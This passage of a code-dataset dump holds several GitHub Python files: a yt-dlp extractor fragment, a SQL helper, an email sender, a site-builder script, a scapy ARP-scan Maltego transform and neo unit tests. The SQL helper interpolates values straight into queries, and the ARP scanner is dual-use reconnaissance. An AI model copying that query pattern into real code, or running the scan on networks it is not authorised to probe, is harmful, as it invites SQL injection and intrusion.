'playlist_count': 2,\n }, {\n 'url': 'https://www.bfmtv.com/international/pour-bolsonaro-le-bresil-est-en-faillite-mais-il-ne-peut-rien-faire_AD-202101060232.html',\n 'only_matching': True,\n }, {\n 'url': 'https://www.bfmtv.com/sante/covid-19-oui-le-vaccin-de-pfizer-distribue-en-france-a-bien-ete-teste-sur-des-personnes-agees_AN-202101060275.html',\n 'only_matching': True,\n }, {\n 'url': 'https://rmc.bfmtv.com/actualites/societe/transports/ce-n-est-plus-tout-rentable-le-bioethanol-e85-depasse-1eu-le-litre-des-automobilistes-regrettent_AV-202301100268.html',\n 'info_dict': {\n 'id': '6318445464112',\n 'ext': 'mp4',\n 'title': 'Le plein de bioéthanol fait de plus en plus mal à la pompe',\n 'description': None,\n 'uploader_id': '876630703001',\n 'upload_date': '20230110',\n 'timestamp': 1673341692,\n 'duration': 109.269,\n 'tags': ['rmc', 'show', 'apolline de malherbe', 'info', 'talk', 'matinale', 'radio'],\n 'thumbnail': 'https://cf-images.eu-west-1.prod.boltdns.net/v1/static/876630703001/5bef74b8-9d5e-4480-a21f-60c2e2480c46/96c88b74-f9db-45e1-8040-e199c5da216c/1920x1080/match/image.jpg'\n }\n }]\n\n def _real_extract(self, url):\n bfmtv_id = self._match_id(url)\n webpage = self._download_webpage(url, bfmtv_id)\n\n entries = []\n for video_block_el in re.findall(self._VIDEO_BLOCK_REGEX, webpage):\n video_block = extract_attributes(video_block_el)\n video_id = video_block.get('videoid')\n if not video_id:\n continue\n entries.append(self._brightcove_url_result(video_id, video_block))\n\n return self.playlist_result(\n entries, bfmtv_id, self._og_search_title(webpage, fatal=False),\n self._html_search_meta(['og:description', 'description'], webpage))\n", "repo_name": "yt-dlp/yt-dlp", "sub_path": "yt_dlp/extractor/bfmtv.py", "file_name": "bfmtv.py", "file_ext": "py", "file_size_in_byte": 5334, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 60520, "dataset": "github-code", "pt": "78", "api": [{"api_name": "common.InfoExtractor", "line_number": 7, "usage_type": "name"}, {"api_name": "utils.extract_attributes", "line_number": 43, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 108, "usage_type": "call"}, {"api_name": "utils.extract_attributes", "line_number": 109, "usage_type": "call"}]} {"seq_id": "73691669983", "text": "import logging\nfrom datetime import datetime\n\nimport sqlalchemy\n\nlog = logging.getLogger()\n\n\ndef get_sqlalchemy_url(vendor, user, pwd, host, port, dbname):\n return f\"{vendor}://{user}:{pwd}@{host}:{port}/{dbname}\"\n\n\ndef select_no_label_qna_contents(url, range_lower__gte, range_upper_lt):\n datetime.strptime(range_lower__gte, \"%Y-%m-%d\")\n datetime.strptime(range_upper_lt, \"%Y-%m-%d\")\n\n query = f\"\"\"\n select\n id,\n contents\n from\n sample.qna\n where\n label is null\n and contents is not null\n and timezone('kst', created_at) >= '{range_lower__gte}'\n and timezone('kst', created_at) < '{range_upper_lt}'\n \"\"\"\n\n with sqlalchemy.create_engine(url).connect() as connection:\n ret = connection.execute(sqlalchemy.text(query))\n log.info(\"Query: %s.\" % query)\n\n rows = ret.fetchall()\n\n data = {}\n for row in rows:\n row = dict(row)\n for col, value in row.items():\n if col not in data:\n data[col] = [value]\n else:\n data[col].append(value)\n return data\n\n\ndef update_qna_contents_label(url, label, ids):\n ret = 0\n if len(ids) > 0:\n query = f\"\"\"\n update\n sample.qna\n set\n label = '{label}'\n where\n id in {tuple(ids) if len(tuple(ids)) > 1 else '(%s)' % ids[0]}\n \"\"\"\n with sqlalchemy.create_engine(url).begin() as transaction:\n ret = transaction.execute(sqlalchemy.text(query)).rowcount\n log.info(\"Query: %s, rows: %s.\" % (query, ret))\n return ret\n", "repo_name": "yoonnoon/my-classification-model-using-bert-multilingual", "sub_path": "src-root/common/sql.py", "file_name": "sql.py", "file_ext": "py", "file_size_in_byte": 1669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 58, "usage_type": "call"}, {"api_name": "sqlalchemy.text", "line_number": 59, "usage_type": "call"}]} {"seq_id": "13504910330", "text": "import smtplib, ssl\nfrom contextlib import contextmanager\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom ..config import Settings\n\ncontext = ssl.create_default_context()\n\nsettings = Settings()\n\n\ndef send_email_service(receiver_email: str, message: str) -> None:\n with smtplib.SMTP_SSL(\n settings.smtp_address, settings.smtp_port, context=context\n ) as server:\n server.login(settings.smtp_email, settings.smtp_password)\n\n server.sendmail(settings.smtp_email, receiver_email, message)\n\n\ndef create_message(\n subject: str, sender_email: str, receiver_email: str, text: str, html: str = None\n) -> MIMEMultipart:\n\n message = MIMEMultipart()\n message[\"Subject\"] = subject\n message[\"From\"] = sender_email\n message[\"To\"] = receiver_email\n\n message.attach(MIMEText(text, \"plain\"))\n if html is not None:\n message.attach(MIMEText(html, \"html\"))\n\n return message\n", "repo_name": "vlad153/car-indicators", "sub_path": "car_indicators/email/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 951, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ssl.create_default_context", "line_number": 7, "usage_type": "call"}, {"api_name": "config.Settings", "line_number": 9, "usage_type": "call"}, {"api_name": "smtplib.SMTP_SSL", "line_number": 13, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 25, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 30, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 32, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 23, "usage_type": "name"}]} {"seq_id": "29417121062", "text": "import modules as mx\nimport sys\nimport os\nimport importlib\nhomedir = os.getcwd() + r'/files/library/'\nsys.path.append(homedir)\ndata = mx.Data()\nbody = mx.Body()\nfrom buttons import *\nimportlib.reload(sys.modules['buttons'])\nfrom header import *\nimportlib.reload(sys.modules['header'])\nfrom content import *\nimportlib.reload(sys.modules['content'])\nfrom tiles import *\nimportlib.reload(sys.modules['tiles'])\n\ndata.title = \"Designed By Dre | About\"\n\n### HEADER ###\nbuttons = list()\nbutton_names = ['About Me','Website Design','Data Mining','Audio Production','Other Services','Contact Me']\nbutton_actions = [\"redirect('https://www.drebarrera.com/');\", \"redirect('https://www.drebarrera.com/');\", \"redirect('https://www.drebarrera.com/');\", \"redirect('https://www.drebarrera.com/');\", \"redirect('https://www.drebarrera.com/');\", \"redirect('https://www.drebarrera.com/');\"]\nfor x in range(len(button_names)):\n buttons.append(('func',button_names[x],button_actions[x]))\nheader = Header(branding='center',menubar='center')\nheader.logo_name='designedbydre.png'\nheader.logo_height='100px'\nheader.site_name='designed\\nby\\ndre'\nheader.buttons=buttons\nheader.primary_color='rgb(250,250,250)'\nheader.accent_color='#005580'\nheader.button_style='rounded'\nheader.button_colors='rgb(250,250,250) #005580'\nheader.button_width='auto 50px'\nheader.button_padding='10px'\nheader.nav_switch='750'\nheader.build()\n\n### OBJECTS\npage = Page()\nslide1 = Slide()\nslide1title = mx.T()\nslide1emoji = mx.T()\nslide1caption = mx.T()\nslide1list = mx.X()\nslide1image = mx.Image()\nslide1subcaption = mx.T()\nslide1button = Button('link','Portfolio',link_url=\"https://www.drebarrera.com\",radius='rounded')\nslide2 = Slide()\nslide2tileSlide = Tile_Slide()\nslide2tileStatic = Tile()\nslide2tileWeb = Tile()\nslide2tileMine = Tile()\nslide2tileAudio = Tile()\nslide2tileOther = Tile()\nslide2overlay = mx.C()\n'''slide2title_c = mx.C()\nslide2title = mx.T()\nslide2supertitle = mx.T()\nslide2leftsubtitle = mx.T()\nslide2right = mx.T()\nslide2iconlist = IconList()'''\n\n### CONTENT\nbody.content = [header, page]\npage.content = [slide1]\n\n# SLIDE 1\nslide1.content = [[[slide1image,slide1title,slide1emoji]],[[slide1caption,slide1list]],[[slide1subcaption, slide1button]]]\nslide1image.src = 'images/profile.jpg'\nslide1title.content = \"Hi, I'm Dre!\"\nslide1emoji.content = \"👋\"\nslide1caption.content = \"Welcome to my site! You are most likely here because you are looking for design services. More information can be found below, but first let me tell you a little about myself!\"\nslide1list.content = \"
  • I am finishing a degree in Computer Engineering at Purdue University.
  • 8 years of experience in graphic design, website development, and programming.
  • Graduated high school at 16 years old, exceeding testing standards.
  • Reliable and ambitious hard worker who is dedicated to getting the job done with minimal hassel!
\"\nslide1subcaption.content = \"For more about me, visit my\"\n\n### PROPERTIES\n#body.background_color = 'rgb(50,50,50)'\n# SLIDE 1\nslide1.background = 'linear-gradient(175deg, rgb(250,250,250) 0%, #edf9fe 55%, #76aac2 85%, #36687d 100%)'\nslide1.id = 'slide1'\nslide1title.type = 'h2'\nslide1emoji.type = 'h2'\nslide1emoji.id = 'slide1emoji'\nslide1caption.id = 'slide1caption'\nslide1image.id = 'slide1image'\nslide1subcaption.color = 'white'\nslide1subcaption.font_weight = '300'\nslide1button.id = 'slide1button'\nslide1button.primary = '#F35046'\nslide1button.accent = 'white'\n\n### BUILD\nslide1.build()\nslide2.build()\n", "repo_name": "drebarrera/WebGen-Projects", "sub_path": "files/library/about/about.py", "file_name": "about.py", "file_ext": "py", "file_size_in_byte": 3531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.getcwd", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "modules.Data", "line_number": 7, "usage_type": "call"}, {"api_name": "modules.Body", "line_number": 8, "usage_type": "call"}, {"api_name": "importlib.reload", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 10, "usage_type": "attribute"}, {"api_name": "importlib.reload", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 12, "usage_type": "attribute"}, {"api_name": "importlib.reload", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 14, "usage_type": "attribute"}, {"api_name": "importlib.reload", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 16, "usage_type": "attribute"}, {"api_name": "buttons.append", "line_number": 25, "usage_type": "call"}, {"api_name": "header.logo_name", "line_number": 27, "usage_type": "attribute"}, {"api_name": "header.logo_height", "line_number": 28, "usage_type": "attribute"}, {"api_name": "header.site_name", "line_number": 29, "usage_type": "attribute"}, {"api_name": "header.buttons", "line_number": 30, "usage_type": "attribute"}, {"api_name": "header.primary_color", "line_number": 31, "usage_type": "attribute"}, {"api_name": "header.accent_color", "line_number": 32, "usage_type": "attribute"}, {"api_name": "header.button_style", "line_number": 33, "usage_type": "attribute"}, {"api_name": "header.button_colors", "line_number": 34, "usage_type": "attribute"}, {"api_name": "header.button_width", "line_number": 35, "usage_type": "attribute"}, {"api_name": "header.button_padding", "line_number": 36, "usage_type": "attribute"}, {"api_name": "header.nav_switch", "line_number": 37, "usage_type": "attribute"}, {"api_name": "header.build", "line_number": 38, "usage_type": "call"}, {"api_name": "modules.T", "line_number": 43, "usage_type": "call"}, {"api_name": "modules.T", "line_number": 44, "usage_type": "call"}, {"api_name": "modules.T", "line_number": 45, "usage_type": "call"}, {"api_name": "modules.X", "line_number": 46, "usage_type": "call"}, {"api_name": "modules.Image", "line_number": 47, "usage_type": "call"}, {"api_name": "modules.T", "line_number": 48, "usage_type": "call"}, {"api_name": "modules.C", "line_number": 57, "usage_type": "call"}]} {"seq_id": "33175513531", "text": "#!/usr/bin/env python\nimport logging\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\nfrom scapy.all import *\nfrom common.ipaddrchanges import *\nfrom canari.framework import configure #, superuser\nfrom common.entities import Interface\nfrom canari.maltego.message import Field\nfrom canari.maltego.entities import IPv4Address\n\n__author__ = 'catalyst256'\n__copyright__ = 'Copyright 2013, Watcher Project'\n__credits__ = []\n\n__license__ = 'GPL'\n__version__ = '0.1'\n__maintainer__ = 'catalyst256'\n__email__ = 'catalyst256@gmail.com'\n__status__ = 'Development'\n\n__all__ = [\n 'dotransform'\n]\n\n#@superuser\n@configure(\n label='Watcher - ARP scan',\n description='Performs an arp scan to determine devices on network',\n uuids=[ 'Watcher.v2.arp_scan_from_interface' ],\n inputs=[ ( 'Watcher', Interface ) ],\n debug=True\n)\ndef dotransform(request, response):\n \n iface = request.value\n conf.iface = iface\n subnet = ''\n network = ''\n\n for x in conf.route.routes:\n if x[3] == iface and x[2] == '0.0.0.0':\n subnet = x[1]\n network = x[0]\n\n subnet = subnetAddress(subnet)\n cidr = cidr2subnet(subnet)\n network = networkAddress(network)\n\n ans, uans = arping(network + '/' + str(cidr), verbose=0)\n for send, rcv in ans:\n e = IPv4Address(rcv[ARP].psrc)\n e += Field('ethernet.hwaddr', rcv[Ether].src, displayname='Hardware Address')\n e.internal = True\n response += e\n return response\n", "repo_name": "catalyst256/Watcher", "sub_path": "src/Watcher/transforms/arpscanfromint.py", "file_name": "arpscanfromint.py", "file_ext": "py", "file_size_in_byte": 1479, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 3, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 3, "usage_type": "attribute"}, {"api_name": "canari.maltego.entities.IPv4Address", "line_number": 51, "usage_type": "call"}, {"api_name": "canari.maltego.message.Field", "line_number": 52, "usage_type": "call"}, {"api_name": "canari.framework.configure", "line_number": 26, "usage_type": "call"}, {"api_name": "common.entities.Interface", "line_number": 30, "usage_type": "name"}]} {"seq_id": "37726969662", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nTests of the neo.core.spiketrainlist.SpikeTrainList class\n\"\"\"\n\nimport sys\n\nimport unittest\nimport warnings\nfrom copy import deepcopy\n\nimport numpy as np\nfrom numpy.testing import assert_array_equal\nimport quantities as pq\n\nfrom neo.core.spiketrain import SpikeTrain\nfrom neo.core.spiketrainlist import SpikeTrainList\nfrom neo.io.proxyobjects import SpikeTrainProxy\n\n\nclass MockRawIO(object):\n raw_annotations = {\n \"blocks\": [{\n \"segments\": [{\n \"spikes\": [{\n \"__array_annotations__\": {}\n }]\n }]\n }]\n }\n header = {\n \"spike_channels\": [{\n 'wf_sampling_rate': 5,\n 'wf_left_sweep': 3,\n 'wf_units': \"mV\"\n }],\n }\n\n def source_name(self):\n return \"name_of_source\"\n\n def segment_t_start(self, block_index=0, seg_index=0):\n return 0\n\n def segment_t_stop(self, block_index=0, seg_index=0):\n return 100.0\n\n def spike_count(self, block_index=0, seg_index=0, spike_channel_index=0):\n return 2\n\n def get_spike_timestamps(self, block_index=0, seg_index=0, spike_channel_index=0,\n t_start=None, t_stop=None):\n return np.array([0.0011, 0.0885])\n\n def rescale_spike_timestamp(self, spike_timestamps, dtype='float64'):\n return spike_timestamps * pq.s\n\n\nclass TestSpikeTrainList(unittest.TestCase):\n\n def setUp(self):\n spike_time_array = np.array([0.5, 0.6, 0.7, 1.1, 11.2, 23.6, 88.5, 99.2])\n channel_id_array = np.array([0, 0, 1, 2, 1, 0, 2, 0])\n all_channel_ids = (0, 1, 2, 3)\n self.stl_from_array = SpikeTrainList.from_spike_time_array(\n spike_time_array,\n channel_id_array,\n all_channel_ids=all_channel_ids,\n units='ms',\n t_start=0 * pq.ms,\n t_stop=100.0 * pq.ms,\n identifier=[\"A\", \"B\", \"C\", \"D\"], # separate annotation for each SpikeTrain\n global_str=\"some string annotation\", # global annotations, same for each SpikeTrain\n global_int=42\n )\n\n self.stl_from_obj_list = SpikeTrainList(items=(\n SpikeTrain([0.5, 0.6, 23.6, 99.2], units=\"ms\",\n t_start=0 * pq.ms, t_stop=100.0 * pq.ms, channel_id=101),\n SpikeTrain([0.0007, 0.0112], units=\"s\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms,\n channel_id=102),\n SpikeTrain([1100, 88500], units=\"us\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms,\n channel_id=103),\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms,\n channel_id=104),\n ))\n\n self.stl_from_obj_list_incl_proxy = SpikeTrainList(items=(\n SpikeTrain([0.5, 0.6, 23.6, 99.2], units=\"ms\",\n t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([0.0007, 0.0112], units=\"s\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrainProxy(rawio=MockRawIO(), spike_channel_index=0),\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n ))\n\n def test_create_from_spiketrain_array(self):\n self.assertEqual(type(self.stl_from_array._spike_time_array), pq.Quantity)\n as_list = list(self.stl_from_array)\n assert_array_equal(as_list[0].times.magnitude,\n np.array([0.5, 0.6, 23.6, 99.2]))\n assert_array_equal(as_list[1].times.magnitude,\n np.array([0.7, 11.2]))\n assert_array_equal(as_list[2].times.magnitude,\n np.array([1.1, 88.5]))\n assert_array_equal(as_list[3].times.magnitude,\n np.array([]))\n self.assertEqual(as_list[0].annotations[\"identifier\"], \"A\")\n self.assertEqual(as_list[1].annotations[\"identifier\"], \"B\")\n self.assertEqual(as_list[2].annotations[\"identifier\"], \"C\")\n self.assertEqual(as_list[3].annotations[\"identifier\"], \"D\")\n self.assertEqual(as_list[0].annotations[\"global_str\"], \"some string annotation\")\n self.assertEqual(as_list[3].annotations[\"global_str\"], \"some string annotation\")\n self.assertEqual(as_list[2].annotations[\"global_int\"], 42)\n self.assertEqual(as_list[1].annotations[\"global_int\"], 42)\n self.assertEqual(self.stl_from_array.t_stop, 100.0 * pq.ms)\n self.assertEqual(self.stl_from_array.all_channel_ids, (0, 1, 2, 3))\n\n\n def test_create_from_spiketrain_list(self):\n as_list = list(self.stl_from_obj_list)\n assert_array_equal(as_list[0].times.rescale(pq.ms).magnitude,\n np.array([0.5, 0.6, 23.6, 99.2]))\n assert_array_equal(as_list[1].times.rescale(pq.ms).magnitude,\n np.array([0.7, 11.2]))\n assert_array_equal(as_list[2].times.rescale(pq.ms).magnitude,\n np.array([1.1, 88.5]))\n assert_array_equal(as_list[3].times.rescale(pq.ms).magnitude,\n np.array([]))\n self.assertAlmostEqual(self.stl_from_obj_list.t_stop, 100.0 * pq.ms)\n self.assertEqual(self.stl_from_obj_list.all_channel_ids, [101, 102, 103, 104])\n\n\n def test_create_from_spiketrain_list_incl_proxy(self):\n as_list = list(self.stl_from_obj_list_incl_proxy)\n assert_array_equal(as_list[0].times.rescale(pq.ms).magnitude,\n np.array([0.5, 0.6, 23.6, 99.2]))\n assert_array_equal(as_list[1].times.rescale(pq.ms).magnitude,\n np.array([0.7, 11.2]))\n assert isinstance(as_list[2], SpikeTrainProxy)\n assert_array_equal(as_list[3].times.rescale(pq.ms).magnitude,\n np.array([]))\n self.assertAlmostEqual(self.stl_from_obj_list_incl_proxy.t_stop, 100.0 * pq.ms)\n self.assertEqual(self.stl_from_obj_list_incl_proxy.all_channel_ids, [0, 1, 2, 3])\n\n def test_str(self):\n target = \"SpikeTrainList containing 8 spikes from 4 neurons\"\n self.assertEqual(target, str(self.stl_from_array))\n target = (\"[,\"\n \" ,\"\n \" ,\"\n \" ]\"\n )\n self.assertEqual(target, str(self.stl_from_obj_list))\n\n def test_get_single_item(self):\n \"\"\"Indexing a SpikeTrainList with a single integer should return a SpikeTrain\"\"\"\n for stl in (self.stl_from_obj_list, self.stl_from_array):\n st = stl[1]\n assert isinstance(st, SpikeTrain)\n assert_array_equal(st.times.rescale(pq.ms).magnitude, np.array([0.7, 11.2]))\n\n def test_get_slice(self):\n \"\"\"Slicing a SpikeTrainList should return a SpikeTrainList\"\"\"\n for stl in (self.stl_from_obj_list, self.stl_from_array):\n new_stl = stl[1:3]\n self.assertIsInstance(new_stl, SpikeTrainList)\n self.assertEqual(len(new_stl), 2)\n\n def test_len(self):\n for stl in (self.stl_from_obj_list, self.stl_from_array):\n self.assertEqual(len(stl), 4)\n\n def test_add_spiketrainlists(self):\n \"\"\"Adding two SpikeTrainLists should return a new SpikeTrainList object,\n whatever the internal representation being used by the two SpikeTrainLists.\"\"\"\n a = self.stl_from_array\n b = self.stl_from_obj_list_incl_proxy\n c = a + b\n self.assertEqual(len(c), 8)\n self.assertEqual(len(a), 4)\n self.assertNotEqual(id(c), id(a))\n\n c = b + a\n self.assertEqual(len(c), 8)\n self.assertEqual(len(b), 4)\n self.assertNotEqual(id(c), id(b))\n\n b = deepcopy(a)\n b._all_channel_ids = [5, 6, 7, 8]\n c = a + b\n self.assertEqual(len(c), 8)\n self.assertEqual(len(a), 4)\n self.assertNotEqual(id(c), id(a))\n\n def test_iadd_spiketrainlists(self):\n \"\"\"Adding a SpikeTrainLists to another in place should\n return the first SpikeTrainList object\"\"\"\n a = deepcopy(self.stl_from_array)\n b = self.stl_from_obj_list_incl_proxy\n c = a\n c += b\n self.assertEqual(len(c), 8)\n self.assertEqual(len(a), 8)\n self.assertEqual(len(b), 4)\n self.assertEqual(id(c), id(a))\n\n a = self.stl_from_array\n b = deepcopy(self.stl_from_obj_list_incl_proxy)\n c = b\n c += a\n self.assertEqual(len(c), 8)\n self.assertEqual(len(b), 8)\n self.assertEqual(len(a), 4)\n self.assertEqual(id(c), id(b))\n\n a = deepcopy(self.stl_from_array)\n b = deepcopy(a)\n b._all_channel_ids = [5, 6, 7, 8]\n c = a\n c += b\n self.assertEqual(len(c), 8)\n self.assertEqual(len(a), 8)\n self.assertEqual(id(c), id(a))\n\n def test_add_list_of_spiketrains(self):\n \"\"\"Adding a list of SpikeTrains to a SpikeTrainList should return a new SpikeTrainList\"\"\"\n extended_stl = self.stl_from_array + [\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([22.2, 33.3], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms), ]\n self.assertIsInstance(extended_stl, SpikeTrainList)\n self.assertEqual(len(extended_stl), 7)\n self.assertNotEqual(id(extended_stl), id(self.stl_from_array))\n\n extended_stl = self.stl_from_obj_list_incl_proxy + [\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([22.2, 33.3], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms)]\n self.assertIsInstance(extended_stl, SpikeTrainList)\n self.assertEqual(len(extended_stl), 7)\n\n def test_iadd_list_of_spiketrains(self):\n \"\"\"Adding a list of SpikeTrains to a SpikeTrainList in place\n should return the original SpikeTrainList\"\"\"\n extended_stl = deepcopy(self.stl_from_array)\n extended_stl += [\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([22.2, 33.3], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms), ]\n self.assertIsInstance(extended_stl, SpikeTrainList)\n self.assertEqual(len(extended_stl), 7)\n\n def test_add_list_of_something_else(self):\n \"\"\"Adding something that is not a list of SpikeTrains to a SpikeTrainList\n should return a plain list\"\"\"\n bag = self.stl_from_array + [\"apples\", \"bananas\"]\n self.assertIsInstance(bag, list)\n\n def test_radd_list_of_spiketrains(self):\n \"\"\" \"\"\"\n extended_stl = [\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([22.2, 33.3], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms)\n ] + self.stl_from_array\n self.assertIsInstance(extended_stl, SpikeTrainList)\n self.assertEqual(len(extended_stl), 7)\n\n extended_stl = [\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([22.2, 33.3], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms),\n SpikeTrain([], units=\"ms\", t_start=0 * pq.ms, t_stop=100.0 * pq.ms)\n ] + self.stl_from_obj_list_incl_proxy\n self.assertIsInstance(extended_stl, SpikeTrainList)\n self.assertEqual(len(extended_stl), 7)\n\n def test_radd_list_of_something_else(self):\n \"\"\"Adding a SpikeTrainList to something that is not a list of SpikeTrains\n should return a plain list\"\"\"\n bag = [\"apples\", \"bananas\"] + self.stl_from_array\n self.assertIsInstance(bag, list)\n\n def test_append(self):\n \"\"\"Appending a SpikeTrain to a SpikeTrainList should make the STL longer\"\"\"\n for stl in (self.stl_from_obj_list, self.stl_from_array):\n stl.append(SpikeTrain([22.2, 33.3], units=\"ms\",\n t_start=0 * pq.ms, t_stop=100.0 * pq.ms))\n self.assertEqual(len(stl), 5)\n\n def test_append_something_else(self):\n \"\"\"Trying to append something other than a SpikeTrain should raise an Exception\"\"\"\n for stl in (self.stl_from_obj_list, self.stl_from_array):\n self.assertRaises(ValueError, stl.append, None)\n\n def test_multiplexed(self):\n \"\"\"The multiplexed property should return a pair of arrays\"\"\"\n channel_id_array, spike_time_array = self.stl_from_array.multiplexed\n assert type(spike_time_array) == pq.Quantity\n assert type(channel_id_array) == np.ndarray\n assert_array_equal(channel_id_array, np.array([0, 0, 1, 2, 1, 0, 2, 0]))\n assert_array_equal(spike_time_array, np.array(\n [0.5, 0.6, 0.7, 1.1, 11.2, 23.6, 88.5, 99.2]) * pq.ms)\n\n channel_id_array, spike_time_array = self.stl_from_obj_list.multiplexed\n assert type(spike_time_array) == pq.Quantity\n assert type(channel_id_array) == np.ndarray\n assert_array_equal(channel_id_array, np.array([101, 101, 101, 101, 102, 102, 103, 103]))\n assert_array_equal(spike_time_array, np.array(\n [0.5, 0.6, 23.6, 99.2, 0.7, 11.2, 1.1, 88.5]) * pq.ms)\n", "repo_name": "NeuralEnsemble/python-neo", "sub_path": "neo/test/coretest/test_spiketrainlist.py", "file_name": "test_spiketrainlist.py", "file_ext": "py", "file_size_in_byte": 13620, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 275, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "quantities.s", "line_number": 56, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList.from_spike_time_array", "line_number": 65, "usage_type": "call"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 65, "usage_type": "name"}, {"api_name": "quantities.ms", "line_number": 70, "usage_type": "attribute"}, {"api_name": "quantities.ms", "line_number": 71, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 77, "usage_type": "call"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 78, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 79, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 80, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 80, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 82, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 82, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 84, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 84, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrainlist.SpikeTrainList", "line_number": 88, "usage_type": "call"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 89, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 90, "usage_type": "attribute"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 91, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 91, "usage_type": "attribute"}, {"api_name": "neo.io.proxyobjects.SpikeTrainProxy", "line_number": 92, "usage_type": "call"}, {"api_name": "neo.core.spiketrain.SpikeTrain", "line_number": 93, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 93, "usage_type": "attribute"}, {"api_name": "quantities.Quantity", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_equal", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 106, "usage_type": "call"}, {"api_name": "quantities.ms", "line_number": 115, "usage_type": "attribute"}, 